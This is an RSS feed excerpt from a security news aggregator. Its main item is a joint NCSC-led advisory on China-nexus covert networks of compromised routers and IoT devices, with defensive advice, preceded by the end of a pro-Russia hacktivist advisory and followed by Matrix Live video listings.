<p><strong>Australian organizations:</strong> Visit <a href="https://www.cyber.gov.au/" target="_blank" title="cyber.gov.au" data-entity-type="external">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</p>
<p><strong>Canadian organizations:</strong> Report incidents by emailing Cyber Centre at <a href="mailto:contact@cyber.gc.ca" target="_blank" title="contact@cyber.gc.ca">contact@cyber.gc.ca</a>.</p>
<p><strong>New Zealand organizations:</strong> Report cyber security incidents to <a href="mailto:incidents@ncsc.govt.nz" target="_blank" title="incidents@ncsc.govt.nz">incidents@ncsc.govt.nz</a> or call 04 498 7654.</p>
<p><strong>United Kingdom organizations:</strong> Report a significant cyber security incident: <a href="https://report.ncsc.gov.uk/" target="_blank" title="report.ncsc.gov.uk" data-entity-type="external">report.ncsc.gov.uk</a> (monitored 24 hours) or, for urgent assistance, call 03000 200 973.</p>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.</p>
<h2><strong>Version History</strong></h2>
<p><strong>December 09, 2025:</strong> Initial version.</p>
<h2><strong>Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups</strong></h2>
<p>For further information on targeting methodologies for pro-Russia hacktivist groups, see:</p>
<ul>
<li>CISA’s alert <a href="https://www.cisa.gov/news-events/alerts/2025/05/06/unsophisticated-cyber-actors-targeting-operational-technology" title="Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology">Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology</a>;</li>
<li>The joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a>; and</li>
<li>CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Cyber Threat">Russia Cyber Threat</a> webpage.</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a></h2>
<p>The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.</p>
<p><strong>Note:</strong> Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.</p>
<ul>
<li>GRU military unit 74455
<ul>
<li>Sandworm Team</li>
<li>Voodoo Bear</li>
<li>Seashell Blizzard</li>
<li>APT44</li>
</ul>
</li>
<li>Cyber Army of Russia Reborn (CARR)
<ul>
<li>CyberArmy of Russia</li>
<li>Народная CyberАрмия (НКА)</li>
<li>People’s CyberArmy of Russia (PCA)</li>
<li>Russian CyberArmy Team (RCAT)</li>
</ul>
</li>
<li>NoName057(16)
<ul>
<li>NoName057(16) Spain</li>
<li>NoName057(16) Italy</li>
<li>NoName057(16) France</li>
</ul>
</li>
<li>Z-Pentest
<ul>
<li>Z-Pentest Beograd</li>
<li>Z-Pentest Alliance</li>
<li>Z-Alliance</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E06 – Foundation Updates]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 38x - Views:530 In which Matthew & Amandine waffle about Matrix for 15 minutes

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@matrix
🤝 https://www.linkedin.com/company/matrix-org
🦋 https://bsky.app/p...]]></description>
<link>https://tsecurity.de/de/3693342/videos/matrix-live-s12e06-foundation-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693342/videos/matrix-live-s12e06-foundation-updates/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:23 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 38x - Views:530 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/MZFMwUWrz1Q?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In which Matthew &amp; Amandine waffle about Matrix for 15 minutes<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E07 – Element Demos!]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 21x - Views:715 This week the Element gang show us the sign in flow on Element X and Classic, and how they set up sections in Element Web's timeline

This Week in Matrix: https://matrix.org/twim

Find Matrix.org on the internet:
🐘 https://mastodon.matrix.org/@mat...]]></description>
<link>https://tsecurity.de/de/3693341/videos/matrix-live-s12e07-element-demos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693341/videos/matrix-live-s12e07-element-demos/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:21 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 21x - Views:715 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/CPZVK_qWS_Y?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>This week the Element gang show us the sign in flow on Element X and Classic, and how they set up sections in Element Web&#039;s timeline<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Matrix Live S12E08 The Matrix Governing Board Elections!]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 11x - Views:562 In which Governing Board members Amandine, Neil, Greg, Nico and Kim explain the once in a lifetime opportunity of being an elected member of The Matrix.org Foundation Governing Board!
Learn what the Board is all about, the ongoing elections, how B...]]></description>
<link>https://tsecurity.de/de/3693339/videos/matrix-live-s12e08-the-matrix-governing-board-elections/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693339/videos/matrix-live-s12e08-the-matrix-governing-board-elections/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:20 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 11x - Views:562 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/S1bJBtV5KxE?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>In which Governing Board members Amandine, Neil, Greg, Nico and Kim explain the once in a lifetime opportunity of being an elected member of The Matrix.org Foundation Governing Board!<br />
Learn what the Board is all about, the ongoing elections, how Board members bring valuable contributions to the Foundation and their personal experience over the first two years of the Governing Board.<br />
<br />
Links<br />
Blog: https://matrix.org/blog/<br />
Election Centre: https://matrix.org/foundation/governing-board-elections/2026/<br />
About the Governing Board: https://matrix.org/foundation/governing-board/<br />
Working Groups: https://matrix.org/foundation/working-groups/<br />
Office of the Foundation: https://matrix.to/#/%23foundation-office:matrix.org<br />
Office of the Governing Board: https://matrix.to/#/%23governing-board-office:matrix.org<br />
Foundation Annual Report: https://matrix.org/blog/2026/03/annual-report/<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
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<title><![CDATA[Matrix Live S12E09: The Matrix Spring Update 2026 from The Matrix Community Summit]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 30x - Views:605 In which Matthew gives an update on everything happening in Matrix as of May 2026, including the Spec Core Team and Foundation priorities, Project Hydra to improve federation robustness, how Hydra unlocks vanilla MLS on Matrix, and the resurgence ...]]></description>
<link>https://tsecurity.de/de/3693338/videos/matrix-live-s12e09-the-matrix-spring-update-2026-from-the-matrix-community-summit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693338/videos/matrix-live-s12e09-the-matrix-spring-update-2026-from-the-matrix-community-summit/</guid>
<pubDate>Sat, 25 Jul 2026 08:42:18 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
